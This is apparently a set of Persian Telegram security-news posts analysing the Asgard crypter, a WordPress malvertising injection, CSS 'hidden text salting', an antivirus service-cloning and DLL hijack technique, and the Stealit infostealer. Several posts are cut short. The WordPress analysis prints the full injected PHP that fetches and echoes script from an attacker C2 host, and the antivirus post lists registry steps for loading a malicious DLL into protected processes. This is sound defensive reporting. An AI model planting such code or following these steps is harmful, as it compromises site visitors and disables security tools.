✅#Mouse

استراق سمع مخفیانه از طریق موس‌های کامپیوتری

موس کامپیوتر شما گوش‌های بزرگی دارد


@NullError_ir

✅#OpenSSH

آسیب‌پذیری OpenSSH از طریق ProxyCommand برای اجرای کد از راه دور مورد بهره‌برداری قرار گرفت .

PoC Released

@NullError_ir

✅#Asgard

تحلیل Asgard

با تحلیل دقیق و مهندسی معکوس Asgard، محققان امنیتی به تکنیک‌های پیچیده آن برای دور زدن آنتی‌ویروس‌ها و ابزارهای تحلیلی پی برده‌اند. این Crypter که از اواخر سال ۲۰۲۳ در فروم‌های زیرزمینی تبلیغ شده، به دلیل قابلیت‌های پیشرفته در پنهان‌سازی و استقرار payloadهای مخرب، توجه مهاجمان سایبری را به خود جلب کرده است. در ادامه، جزئیات فنی و مکانیزم عملکرد این بدافزار به صورت کامل تشریح می‌شود

این Asgard Protector یک ابزار رمزکننده (Crypter) است که توسط مجرمان سایبری برای پنهان‌سازی و اجرای بدافزارهای دیگر مانند (RATs) و (Infostealers) استفاده می‌شود. این ابزار با بسته‌بندی payloadهای مخرب در قالب یک (installer) به ظاهر سالم، مکانیزم‌های دفاعی آنتی ویروس‌های سنتی را خنثی کرده و فرآیندهای تحلیل و پاسخ به حوادث را با چالش جدی مواجه می‌کند.

زنجیره آلودگی و مکانیزم عملکرد (Infection Chain)

عملکرد Asgard Protector چندمرحله‌ای و لایه‌لایه است تا شناسایی آن تا حد ممکن دشوار شود.

۱. مرحله اولیه: آرشیو خوداستخراج Nullsoft

بدافزار معمولاً در قالب یک فایل آرشیو خوداستخراج Nullsoft (Nullsoft Self-extracting Archive) توزیع می‌شود. پس از اجرا، این فایل چندین کامپوننت مخفی را در دایرکتوری موقت سیستم (%TEMP% ) استخراج (unpack) می‌کند.

۲. تکنیک‌های پنهان‌سازی اولیه

یکی از تکنیک‌های هوشمندانه در این مرحله، فریب از طریق پسوند فایل است. اسکریپت batch اصلی که وظیفه هدایت عملیات را بر عهده دارد، با پسوندی غیرمرتبط (مانند تغییر نام یک فایل .bat به Belgium.pst) ذخیره می‌شود تا از دید تحلیل‌گران و سیستم‌های امنیتی پنهان بماند. علاوه بر این، محتوای خود اسکریپت نیز به شدت مبهم‌سازی (Obfuscate) شده است.

۳. بازسازی مفسر AutoIt در حافظه
اسکریپت نصب‌کننده، به جای استفاده از یک فایل اجرایی کامل، قطعات یک مفسر AutoIt را از درون فایل‌های آرشیو CAB جاسازی‌شده استخراج کرده و آن را مستقیماً در حافظه (in-memory) بازسازی (reconstruct) می‌کند. این رویکرد از رها کردن یک فایل اجرایی کامل بر روی دیسک جلوگیری کرده و در نتیجه، از شناسایی مبتنی بر امضا (signature-based detection) فرار می‌کند.

۴. رمزگشایی و اجرای Payload نهایی

پس از بازسازی مفسر AutoIt، اسکریپت AutoIt جاسازی‌شده اجرا می‌شود که خود شامل لایه‌های حفاظتی بیشتری است:

* رمزگشایی در حافظه: Payload نهایی (بدافزار اصلی) به صورت رمزنگاری‌شده با الگوریتم RC4 درون اسکریپت ذخیره شده است و تنها در حافظه رم رمزگشایی می‌شود.

* فشرده‌سازی: پس از رمزگشایی، باینری با استفاده از الگوریتم LZNT1 از حالت فشرده خارج می‌شود.

* تزریق فرآیند (Process Injection): در نهایت، payload مخرب به درون یک فرآیند سیستمی معتبر مانند explorer.exe تزریق می‌شود. این کار باعث می‌شود که فعالیت بدافزار در زیر نقاب یک فرآیند قانونی پنهان شده و شناسایی آن در لیست فرآیندهای در حال اجرا بسیار دشوار گردد.

تکنیک‌های پیشرفته فرار از تحلیل

این Asgard Protector از مکانیزم‌های خاصی برای مقابله با محیط‌های تحلیل و سندباکس بهره می‌برد:

* شناسایی سندباکس مبتنی بر شبکه: یک تکنیک منحصربه‌فرد در این بدافزار، ارسال درخواست ping به یک دامنه که به صورت تصادفی تولید شده است، می‌باشد. اگر هرگونه پاسخی از این دامنه دریافت شود، بدافزار تشخیص می‌دهد که در یک محیط شبکه شبیه‌سازی‌شده یا مانیتور شده (مانند سندباکس) قرار دارد و بلافاصله اجرای خود را متوقف می‌کند تا از تحلیل شدن جلوگیری نماید.

* اجرای بدون فایل (Fileless Execution): ترکیب تکنیک‌های بازسازی در حافظه، رمزگشایی و تزریق فرآیند، به Asgard Protector اجازه می‌دهد تا بدون نوشتن فایل اجرایی نهایی بر روی دیسک، عملیات خود را تکمیل کند و از دید ابزارهای بازرسی مبتنی بر دیسک پنهان بماند.

مکانیزم پایداری (Persistence)

پس از اجرای موفقیت‌آمیز، بدافزار بسته به پیکربندی اپراتور، از یکی از روش‌های زیر برای اطمینان از اجرای مجدد خود پس از راه‌اندازی سیستم استفاده می‌کند:

* تغییر کلیدهای رجیستری Autorun: با افزودن ورودی‌های جدید به کلیدهای رجیستری مربوط به اجرای خودکار، بدافزار خود را در چرخه بوت سیستم‌عامل قرار می‌دهد.

* ایجاد وظایف زمان‌بندی‌شده (Scheduled Tasks): بدافزار یک وظیفه زمان‌بندی‌شده جدید در سیستم تعریف می‌کند تا در فواصل زمانی مشخص یا در رویدادهای خاصی مجدداً اجرا شود.

تحلیل عمیق اسکریپت بازسازی

اسکریپت .bat مبهم‌سازی‌شده از ترکیبی از دستورات خط فرمان ویندوز برای بازسازی باینری مفسر AutoIt استفاده می‌کند. قطعه کد زیر نمونه‌ای از این فرآیند است:

✅#WordPress

تحلیل کمپین Malvertising در وردپرس:
مهندسی معکوس تکنیک‌های پنهان‌سازی در functions.php

یک کمپین Malvertising (تبلیغات بدافزاری) پیچیده و در عین حال پنهان‌کار، وب‌سایت‌های وردپرسی را هدف قرار داده است. این کمپین با تزریق یک قطعه کد PHP به ظاهر بی‌خطر در فایل functions.php قالب فعال، کنترل کامل بر روی محتوای front-end وب‌سایت را به دست گرفته و بازدیدکنندگان را در معرض انواع تهدیدات، از جمله هدایت‌های اجباری (Forced Redirects) ، نمایش پاپ‌آپ‌های مخرب و بدافزارهای drive-by قرار می‌دهد.

فاز اول: شناسایی و نقطه نفوذ

حمله زمانی شناسایی شد که صاحبان وب‌سایت متوجه بارگذاری اسکریپت‌های جاوا اسکریپت مشکوک و ناخواسته‌ای شدند که هرگز توسط آن‌ها نصب نشده بود. بررسی سورس صفحه (View Page Source)، سرنخ اولیه را آشکار ساخت: یک تگ <noscript> که فایلی را از یک دامنه خارجی و ناشناس بارگذاری می‌کرد.

تحقیقات عمیق‌تر نشان داد که منشأ این تزریق، یک قطعه کد PHP است که به انتهای فایل functions.php قالب فعال وردپرس اضافه شده است. این فایل به دلیل نقش کلیدی در تعریف عملکردها و ویژگی‌های قالب، یک هدف ایده‌آل برای مهاجمان است.

بردار اصلی نفوذ در این کمپین، اغلب یکی از موارد زیر است:

* آسیب‌پذیری در افزونه‌ها یا قالب‌های قدیمی: مهاجمان با بهره‌برداری از یک آسیب‌پذیری شناخته‌شده، دسترسی لازم برای ویرایش فایل‌های قالب را به دست می‌آورند.

* اعتبارنامه‌های ضعیف یا سرقت‌شده: استفاده از رمزهای عبور ضعیف برای حساب مدیریت وردپرس، FTP یا کنترل پنل هاستینگ، مسیری مستقیم برای نفوذ فراهم می‌کند.

* مجوزهای دسترسی (Permissions) نادرست فایل‌ها: اگر فایل functions.php دارای مجوز نوشتن (writable) برای پروسس وب‌سرور باشد، بدافزارها می‌توانند به راحتی آن را ویرایش کنند.

فاز دوم: کالبدشکافی کد تزریق‌شده

کد تزریق‌شده در فایل functions.php به شکل زیر است. سادگی ظاهری این کد، قدرت پنهان‌کاری آن را افزایش می‌دهد:

// Injected PHP function in functions.php

function ti_custom_javanoscript() {
    $response = wp_remote_post(
     'https://brazilc.com/ads.php',
        array(
            'timeout' => 15,
            'body' => array('url' => home_url())
        )
    );
    if (!is_wp_error($response)) {
        echo wp_remote_retrieve_body($response);
    }
}

add_action('wp_head', 'ti_custom_javanoscript');

تحلیل دقیق عملکرد کد:

1۔ add_action('wp_head' , 'ti_custom_javanoscript'); : این خط، قلب مکانیزم حمله است. با استفاده از هوک (hook) وردپرسی wp_head ، تابع ti_custom_javanoscript در هر بار بارگذاری صفحه (page load) در تمام بخش‌های وب‌سایت، درست در داخل تگ <head> اجرا می‌شود. این تضمین می‌کند که کد مخرب قبل از هر اسکریپت دیگری بارگذاری و اجرا شود.

2۔ wp_remote_post(...) : این تابع وردپرسی یک درخواست HTTP POST به سرور فرماندهی و کنترل (C\&C) مهاجم به آدرس hxxps://brazilc[.]com/ads.php ارسال می‌کند. در بدنه (body) این درخواست، آدرس وب‌سایت آلوده (home_url()) نیز ارسال می‌شود که احتمالاً برای ردیابی قربانیان توسط مهاجمان استفاده می‌شود.

3۔ echo wp_remote_retrieve_body($response); : این بخش، حیاتی‌ترین قسمت است. پاسخ دریافت شده از سرور C\&C (که حاوی payload جاوا اسکریپت مخرب است) بدون هیچ‌گونه اعتبارسنجی یا پاک‌سازی، مستقیماً در خروجی HTML صفحه چاپ (echo) می‌شود. این تکنیک به مهاجم اجازه می‌دهد تا به صورت پویا و از راه دور، محتوای مخرب را در لحظه به مرورگر بازدیدکنندگان تزریق کند.

فاز سوم: تحلیل Payload جاوا اسکریپت

پاسخی که از سرور C\&C بازگردانده می‌شود، یک payload جاوا اسکریپت چندمرحله‌ای است که یک حمله دومرحله‌ای (Two-Pronged Attack) را اجرا می‌کند:

مرحله اول: سیستم توزیع ترافیک

اولین بخش از payload، اسکریپتی را از دامنه porsasystem[.]com (مشخصاً فایل 6m9x.js) بارگذاری می‌کند. این دامنه به عنوان یک سیستم توزیع ترافیک (TDS) عمل می‌کند. یک TDS، سرویسی است که بازدیدکنندگان را بر اساس پارامترهای مختلفی مانند موقعیت جغرافیایی، نوع سیستم‌عامل، مرورگر و... پروفایل کرده و سپس آن‌ها را به مخرب‌ترین یا سودآورترین مقصد بعدی هدایت می‌کند. این مقصد می‌تواند شامل موارد زیر باشد:

* صفحات فیشینگ

* سایت‌های تبلیغاتی مخرب

* کیت‌های بهره‌برداری (Exploit Kits)

* دانلود بدافزارهای دیگر (مانند باج‌افزار یا تروجان‌های بانکی)

این اسکریپت مسئول اصلی هدایت‌های ناخواسته و نمایش پاپ‌آپ‌هایی است که توسط کاربر گزارش شده است.

✅#Hidden_Text_Salting
آقای امید میرزائی محقق و سرپرست تیم امنیتی سیسکو تالوس خبر از کشف یک تکنیک فریبنده به نام "Hidden Text Salting" داد.

تحلیل تکنیک "Hidden Text Salting": سوءاستفاده از CSS برای فریب سیستم‌های امنیتی ایمیل

بر اساس گزارش ایشان، مهاجمان به طور فزاینده‌ای از یک تکنیک فریبنده به نام "Hidden Text Salting" برای دور زدن راهکارهای امنیتی ایمیل استفاده می‌کنند. این روش بر پایه سوءاستفاده از ویژگی‌های CSS (Cascading Style Sheets) برای تزریق و پنهان‌سازی محتوای بی‌ربط (که "Salt" یا "نمک" نامیده می‌شود) در بخش‌های مختلف ایمیل‌ها استوار است. هدف اصلی این تکنیک، مختل کردن و فریب دادن سیستم‌های تشخیص خودکار، از جمله الگوریتم‌های یادگیری ماشین و مدل‌های زبانی بزرگ (LLMs) است.

چرا مهاجمان از Hidden Text Salting استفاده می‌کنند؟

این تکنیک دو هدف اصلی را دنبال می‌کند:

1. فرار مستقیم از تشخیص (Direct Evasion): مهاجمان با افزودن محتوای بی‌ربط و تصادفی به بدنه ایمیل، امضاها (Signatures) و الگوهای متنی که توسط سیستم‌های امنیتی برای شناسایی ایمیل‌های مخرب استفاده می‌شوند را برهم می‌زنند. این کار تحلیل محتوای ایمیل را برای موتورهای تشخیص دشوارتر می‌کند.

2. اختلال در فرآیندهای جانبی (Indirect Evasion): این روش می‌تواند سایر بخش‌های خط لوله تحلیل امنیتی را نیز تحت تأثیر قرار دهد. برای مثال، با تزریق کلماتی از یک زبان دیگر (مانند فرانسوی در یک ایمیل انگلیسی)، می‌توانند ماژول‌های تشخیص زبان را به اشتباه بیندازند و باعث شوند فیلترهای اسپم مبتنی بر زبان، به درستی عمل نکنند.

محتوای "Salt" در کدام بخش‌های ایمیل تزریق می‌شود؟

تحقیقات نشان می‌دهد که مهاجمان عمدتاً در چهار بخش کلیدی ایمیل محتوای پنهان را جایگذاری می‌کنند:

1۔ Preheader: متن کوتاهی که در پیش‌نمایش اینباکس، بلافاصله بعد از عنوان ایمیل نمایش داده می‌شود. مهاجمان می‌توانند در این بخش، متون بی‌ربطی را با استفاده از CSS پنهان کنند تا موتورهای تحلیل را فریب دهند.

2۔ Header: بخش‌های بالایی ایمیل که کمتر متداول است اما همچنان به عنوان محلی برای تزریق محتوای پنهان استفاده می‌شود.

3۔ پیوست‌ها (Attachments): به خصوص در پیوست‌های HTML، مهاجمان کاراکترها یا کامنت‌های بی‌ربط را بین کدهای مهم (مانند رشته‌های Base64) قرار می‌دهند تا تحلیل استاتیک فایل را پیچیده و فرآیند استخراج URLهای مخرب را دشوار سازند.

4۔ بدنه ایمیل (Email Body): این متداول‌ترین محل برای تزریق Salt است. مهاجمان کاراکترهای پنهان را بین کلمات کلیدی (مانند نام برندها) قرار می‌دهند تا شناسایی آن‌ها توسط فیلترهای محتوا را مختل کنند.

انواع محتوای مورد استفاده به عنوان Salt

سه نوع محتوای اصلی برای این هدف به کار گرفته می‌شود:

1. کاراکترها (Characters): شامل کاراکترهای تصادفی که بین کلمات کلیدی قرار می‌گیرند یا کاراکترهای خاص با عرض صفر (Zero-Width) مانند ZWSP و ZWNJ که بین حروف یک برند (مانند Norton LifeLock) تزریق می‌شوند. این کاراکترها با چشم غیرمسلح دیده نمی‌شوند اما توسط پارسرهای ایمیل به عنوان بخشی از رشته متنی شناسایی می‌شوند.

2. پاراگراف‌ها (Paragraphs): جملات و عبارات کاملاً بی‌ربط (مثلاً به زبان آلمانی در یک ایمیل فیشینگ انگلیسی) که در بدنه ایمیل گنجانده شده و سپس با استفاده از CSS کاملاً پنهان می‌شوند.

3. کامنت‌ها (Comments): به ویژه در پیوست‌های HTML، کامنت‌های بی‌ربط زیادی بین کدهای JavaScript یا سایر بخش‌های کلیدی قرار داده می‌شود تا تحلیل استاتیک را دشوار کند.

تکنیک‌های رایج CSS برای پنهان‌سازی محتوا

مهاجمان از سه دسته اصلی ویژگی‌های CSS برای نامرئی کردن Salt سوءاستفاده می‌کنند:

1. ویژگی‌های متنی (Text Properties):

*۔ font-size: تنظیم اندازه فونت روی صفر یا یک مقدار بسیار کوچک.

*۔ color: تنظیم رنگ متن به همان رنگ پس‌زمینه (مثلاً سفید روی سفید).

2. ویژگی‌های نمایش و شفافیت (Visibility and Display Properties):

*۔ opacity: 0: المان را کاملاً شفاف و نامرئی می‌کند.

*۔ display: none: المان را به طور کامل از چیدمان صفحه حذف می‌کند.

*۔ visibility: hidden: المان را پنهان می‌کند اما فضای آن در چیدمان صفحه حفظ می‌شود.

3. ویژگی‌های اندازه و برش (Clipping and Sizing Properties):

*۔ width: 0 یا height: 0: عرض یا ارتفاع کانتینر حاوی متن Salt را صفر قرار می‌دهند.

*۔ overflow: hidden: محتوای اضافی یک کانتینر کوچک را پنهان می‌کنند. برای مثال، متن بزرگی را در یک دایره با شعاع صفر قرار داده و سرریز آن را مخفی می‌کنند.

شیوع این تکنیک در ایمیل‌های اسپم در مقابل ایمیل‌های قانونی

✅#APT35

💢 Iran-linked APT35

@NullError_ir

✅#Chaos

باج‌افزار Chaos سریع‌تر، هوشمندتر و خطرناک‌تر از قبل

✅#Bypassing_Antivirus

تحلیل جامع آسیب‌پذیری تزریق کد به فرآیندهای آنتی‌ویروس

یک تکنیک پیشرفته و بسیار مهم که توسط یک پژوهشگر امنیت سایبری با نام مستعار "Two Seven One Three" کشف شده است. این تکنیک به مهاجمان اجازه می‌دهد تا با سوءاستفاده از مکانیزم‌های حفاظتی خود نرم‌افزارهای آنتی‌ویروس، کدهای مخرب را مستقیماً به فرآیندهای اصلی و محافظت‌شده‌ی این محصولات امنیتی تزریق کنند. این روش نه تنها به مهاجم امکان می‌دهد تا از دید سیستم‌های امنیتی پنهان بماند، بلکه به او اجازه می‌دهد تا یک درب پشتی (Backdoor) پایدار در سیستمی ایجاد کند که قاعدتاً باید تحت محافظت شدید باشد.

در ادامه، جزئیات کامل این تکنیک، و اهمیت آن را بررسی می‌کنیم.

۱. مکانیزم‌های دفاعی آنتی‌ویروس‌ها (چرا این حمله مهم است؟)

برای درک عمق این آسیب‌پذیری، ابتدا باید بدانیم آنتی‌ویروس‌ها چگونه از خودشان در برابر حملات محافظت می‌کنند:

سطح دسترسی SYSTEM: فرآیندهای آنتی‌ویروس معمولاً با بالاترین سطح دسترسی در ویندوز (SYSTEM) اجرا می‌شوند تا بتوانند بر تمام فعالیت‌های سیستم نظارت کرده و تهدیدات را خنثی کنند.

محافظت از فرآیند (Process Protection): آنتی‌ویروس‌ها از مکانیزم‌هایی مانند Protected Process Light (PPL) در ویندوز استفاده می‌کنند. این ویژگی اجازه نمی‌دهد که حتی فرآیندهایی با دسترسی مدیر (Administrator) بتوانند فرآیندهای محافظت‌شده را دستکاری، متوقف یا به آن‌ها کد تزریق کنند. به همین دلیل این فرآیندها "unkillable" یا غیرقابل توقف نامیده می‌شوند.

بررسی یکپارچگی کد (Code Integrity Checks): آنتی‌ویروس‌ها به‌طور مداوم بررسی می‌کنند که ماژول‌ها و کتابخانه‌هایی (DLL) که در فرآیندهایشان بارگذاری می‌شوند، دارای امضای دیجیتال معتبر باشند و دستکاری نشده باشند.

درایورهای سطح کرنل (Kernel-Level Drivers): درایورهای آنتی‌ویروس در سطح هسته سیستم‌عامل (Kernel) فعالیت می‌کنند و هرگونه تلاش برای تغییر در مکانیزم‌های شناسایی یا دستکاری فرآیندهای محافظت‌شده را مسدود می‌کنند.

حفاظت از فایل‌ها و رجیستری: آنتی‌ویروس‌ها از دسترسی و نوشتن در پوشه نصب خود و کلیدهای رجیستری مربوط به خودشان به‌شدت محافظت می‌کنند تا از غیرفعال شدن یا دستکاری آن‌ها جلوگیری شود.

این حمله دقیقاً این لایه‌های دفاعی را هدف قرار می‌دهد و آن‌ها را دور می‌زند.

۲. تشریح تکنیک حمله: شبیه‌سازی سرویس و تزریق کد

این تکنیک در دو مرحله اصلی انجام می‌شود:

مرحله اول: شبیه‌سازی سرویس محافظت‌شده (Service Cloning)

مهاجم به‌جای حمله مستقیم به سرویس اصلی و در حال اجرای آنتی‌ویروس (که تقریباً غیرممکن است)، یک کپی یا "کلون" از آن سرویس ایجاد می‌کند.

1. صادر کردن کلید رجیستری: مهاجم کلید رجیستری مربوط به یکی از سرویس‌های محافظت‌شده آنتی‌ویروس (مثلاً BDProtSrv در Bitdefender) را پیدا کرده و آن را Export می‌کند. این کلید حاوی تمام تنظیمات و پیکربندی‌های آن سرویس است.

2. وارد کردن کلید با نام جدید: سپس مهاجم همان کلید رجیستری را با یک نام جدید Import می‌کند. با این کار، یک سرویس کاملاً جدید اما با همان مشخصات و سطح حفاظت سرویس اصلی در سیستم تعریف می‌شود.

3. بارگذاری سرویس کلون‌شده: پس از راه‌اندازی مجدد سیستم (Reboot)، سرویس‌منیجر ویندوز (Services.exe) این سرویس جدید را شناسایی کرده و آن را در حافظه پنهان خود بارگذاری می‌کند. حالا مهاجم یک سرویس کلون‌شده دارد که مانند سرویس اصلی، محافظت‌شده (PPL) است و با دسترسی SYSTEM اجرا می‌شود.

مرحله دوم: تزریق کد از طریق ربودن ارائه‌دهنده رمزنگاری (Hijacking Cryptographic Provider)

از آنجایی که تزریق مستقیم کد به فرآیند محافظت‌شده کلون‌شده نیز مسدود است، مهاجم از یک مسیر هوشمندانه و غیرمستقیم استفاده می‌کند:

1۔ API رمزنگاری ویندوز: فرآیندهای آنتی‌ویروس برای عملیات مختلفی مانند بررسی امضای دیجیتال و رمزنگاری، از توابع API رمزنگاری ویندوز (Windows Cryptography API) استفاده می‌کنند. این API برای یافتن ارائه‌دهندگان خدمات رمزنگاری (Providers) به یک مسیر مشخص در رجیستری مراجعه می‌کند.

2. تغییر مسیر در رجیستری: مهاجم کلید رجیستری زیر را دستکاری می‌کند:

HKLM\SOFTWARE\Microsoft\Cryptography\Defaults\Provider

او مسیر پیش‌فرض را به مسیر فایل DLL مخرب خود تغییر می‌دهد.

3. بارگذاری DLL مخرب: هنگامی که سرویس کلون‌شده آنتی‌ویروس اجرا می‌شود، برای انجام عملیات رمزنگاری، به مسیر دستکاری‌شده در رجیستری مراجعه می‌کند و ناآگاهانه، DLL مخرب مهاجم را به جای کتابخانه اصلی و معتبر ویندوز، در فضای حافظه خود بارگذاری (Load) می‌کند.

✅#RealBlindingEDR

ابزار RealBlindingEDR غیرفعال‌سازی دائمی AV/EDR با استفاده از Kernel Callbackها

ابزاری متن‌باز که به مهاجمان این امکان را می‌دهد که با پاک‌سازی callbackهای حیاتی سطح کرنل در سیستم‌عامل ویندوز، نرم‌افزارهای آنتی‌ویروس (AV) و تشخیص و پاسخ نقطه پایانی (EDR) را کور (blind)، به‌طور دائم غیرفعال یا خاتمه دهند.

✅#Stealit

تحلیل کمپین بدافزار جدید Stealit
و بهره‌برداری از قابلیت Node.js SEA برای پنهان‌سازی و گسترش

محققان FortiGuard به تازگی یک کمپین فعال و جدید از بدافزار سرقت اطلاعات Stealit را شناسایی کرده است که از یک تکنیک نوآورانه برای توزیع و اجرای payloadهای خود بهره می‌برد. این کمپین با استفاده از قابلیت آزمایشی Single Executable Application (SEA) در Node.js، اسکریپت‌های مخرب خود را به صورت یک فایل اجرایی مستقل بسته‌بندی می‌کند. این رویکرد به بدافزار اجازه می‌دهد تا بدون نیاز به پیش‌نصب بودن Node.js روی سیستم قربانی، اجرا شود و در نتیجه شناسایی آن را دشوارتر می‌سازد.

در ادامه، تحلیل فنی دقیقی از این کمپین، از مکانیزم توزیع تا اجزای اصلی و تکنیک‌های فرار از تحلیل آن ارائه می‌شود.

زنجیره آلودگی و توزیع

بدافزار Stealit ، همانند نسخه‌های پیشین، خود را در قالب نصب‌کننده‌های نرم‌افزارهای قانونی مانند بازی‌ها و برنامه‌های VPN مخفی می‌کند. این فایل‌های آلوده از طریق پلتفرم‌های اشتراک‌گذاری فایل نظیر Mediafire و Discord توزیع می‌شوند. مهاجمان برای پیچیده‌تر کردن فرآیند تحلیل، این نصب‌کننده‌ها را با ابزارهایی مانند PyInstaller بسته‌بندی کرده یا در آرشیوهای فشرده قرار می‌دهند.

جالب توجه است که وب‌سایت پنل کنترل و فرماندهی (C2) این بدافزار نیز به دامنه‌های جدیدی منتقل شده است. این وب‌سایت، Stealit را به عنوان یک "راه‌حل حرفه‌ای استخراج داده" با طرح‌های اشتراک مختلف برای سیستم‌عامل‌های ویندوز و اندروید تبلیغ می‌کند و حتی یک کانال تلگرامی برای جذب مشتریان بالقوه دارد.

تحلیل فنی نصب‌کننده (Installer)

فرآیند نصب بدافزار چند لایه و بسیار پیچیده است و در تمام مراحل از obfuscation سنگین برای جلوگیری از تحلیل کد استفاده می‌شود.

#**لایه اول: بهره‌برداری از Node.js SEA**

فایل اجرایی اولیه یک بسته Node.js SEA است. این قابلیت آزمایشی، تمام اسکریپت‌ها و وابستگی‌های لازم را در یک فایل باینری واحد جمع‌آوری می‌کند. اسکریپت مخرب اصلی در بخشی از منابع فایل اجرایی به نام NODE_SEA_BLOB ذخیره شده است. بررسی متادیتای این بخش نشان می‌دهد که این بسته با استفاده از یک پروژه متن‌باز به نام AngaBlue ساخته شده که فرآیند ایجاد فایل‌های اجرایی SEA را خودکار می‌کند.

#**لایه‌های دوم و سوم: اجرای درون حافظه**

اسکریپت لایه اول پس از اجرا، یک blob بزرگ و رمزنگاری‌شده را از داخل خود استخراج، رمزگشایی و با استفاده از تابع require در Node.js مستقیماً در حافظه اجرا می‌کند. این اسکریپت لایه دوم نیز به نوبه خود، اسکریپت لایه سوم را که باز هم به شدت مبهم‌سازی شده، در حافظه اجرا می‌کند. این تکنیک زنجیره‌ای اجرای درون حافظه، تحلیل مبتنی بر فایل را بسیار دشوار می‌سازد.

تکنیک‌های ضد تحلیل (Anti-Analysis)

اسکریپت لایه سوم، پیش از نصب اجزای اصلی، مجموعه‌ای گسترده از بررسی‌ها را برای تشخیص محیط‌های تحلیل و ماشین‌های مجازی انجام می‌دهد. این بررسی‌ها شامل موارد زیر است:

* تشخیص محیط مجازی: حداقل حافظه سیستم (2GB)، تعداد هسته‌های پردازنده (حداقل 2)، و بررسی نام کاربری و نام میزبان در برابر لیست سیاه کلمات کلیدی (مانند vmware , sandbox , analyst , test ).

* بررسی فایل‌ها و مسیرهای مشکوک: جستجو برای فایل‌ها و درایورهای مرتبط با VMware و VirtualBox.

* تحلیل زمانی (Timing Analysis): اندازه‌گیری زمان اجرای عملیات ریاضی برای تشخیص کندی ناشی از دیباگرها.

* شناسایی فرآیندهای پیشرفته: اجرای دستور wmic برای لیست کردن تمام فرآیندها و جستجو برای نام ابزارهای تحلیل رایج (مانند wireshark , x64dbg , IDA , Ghidra , Process Monitor ) یا آرگومان‌های مرتبط با دیباگ.

* بررسی پورت‌های شبکه: اجرای netstat –an برای یافتن پورت‌های فعال که در لیست سیاه قرار دارند.

* تحلیل رجیستری: بررسی کلیدهای رجیستری مرتبط با دیباگرها.

* تشخیص تزریق DLL: بررسی DLLهای بارگذاری‌شده در فرآیند بدافزار برای یافتن موارد مرتبط با ابزارهای تحلیل.

* بررسی فرآیند والد (Parent Process): چک کردن فرآیند والد برای اطمینان از اینکه خود توسط یک ابزار تحلیل اجرا نشده باشد.

اگر هر یک از این بررسی‌ها نشان دهد که بدافزار در حال تحلیل است، با نمایش یک پیام خطا، اجرای خود را متوقف می‌کند.

نصب و ماندگاری اجزای اصلی

پس از عبور موفقیت‌آمیز از بررسی‌های ضد تحلیل، نصب‌کننده سه کامپوننت اصلی را از سرور C2 دانلود می‌کند: save_data.exe , stats_db.exe و game_cache.exe .

این فایل‌ها در یک مسیر تصادفی در AppData\Local ذخیره می‌شوند و برای جلوگیری از اسکن توسط Windows Defender، مسیر دایرکتوری ایجاد شده با استفاده از یک دستور PowerShell به لیست استثنائات (Exclusion list) آن اضافه می‌شود.

✅#SEAL

دانشگاه MIT یک هوش مصنوعی ساخته که می‌تونه کد خودش رو بازنویسی کنه تا باهوش‌تر بشه.

بهش میگن SEAL (مدل‌های زبانی خود-تطبیق‌پذیر) .

به جای اینکه انسان‌ها تنظیمش کنن، SEAL اطلاعات جدید رو خونده، اونا رو با کلمات خودش بازنویسی می‌کنه و به‌روزرسانی‌های گرادیان رو روی خودش اجرا می‌کنه و به معنای واقعی کلمه یادگیری خودراهبر داره.

و ما تازه وارد عصر مدل‌های خود-تکاملی شدیم.

✅#Satellites

پژوهشگران دو دانشگاه مطرح آمریکا‌ بمدت سه سال یک آنتن نه چندان پیچیده رو به سمت آسمان گرفتند و به داده‌ هاییکه بین ایستگاهای زمینی و ماهواره ها مبادله می‌شد گوش دادند. نتیجه تحقیق تکان‌دهنده هست!

اونها موفق به ضبط هزاران گفت‌وگوی صوتی و پیام کوتاه رمزنگاری نشده رو از کاربران یک شبکهٔ تلفن همراه شدند. همچنین ارتباطات برخی از نهادهای نظامی و اطلاعاتی در بین داده های ثبت شده وجود داشت که از اهمیت بالایی برخوردارند. این پژوهش نشون میده که نزدیک به نیمی از پیام‌های ماهواره‌ای در مدار ثابت زمین بدون هیچ گونه رمزنگاری مبادله می‌شوند. یعنی سیلی از داده‌های بسیار حساس از فراز زمین عبور میکنند و هر کس با یک ابزار ساده و هزینه ای کمتر از ۸۰۰ دلار قادر به دریافت انهاست.

✅#Rootkit

تحلیلی عمیق بر یک روت‌کیت پیشرفته و پنهان‌کار هسته لینوکس

Singularity - Powerful Linux Kernel Rootkit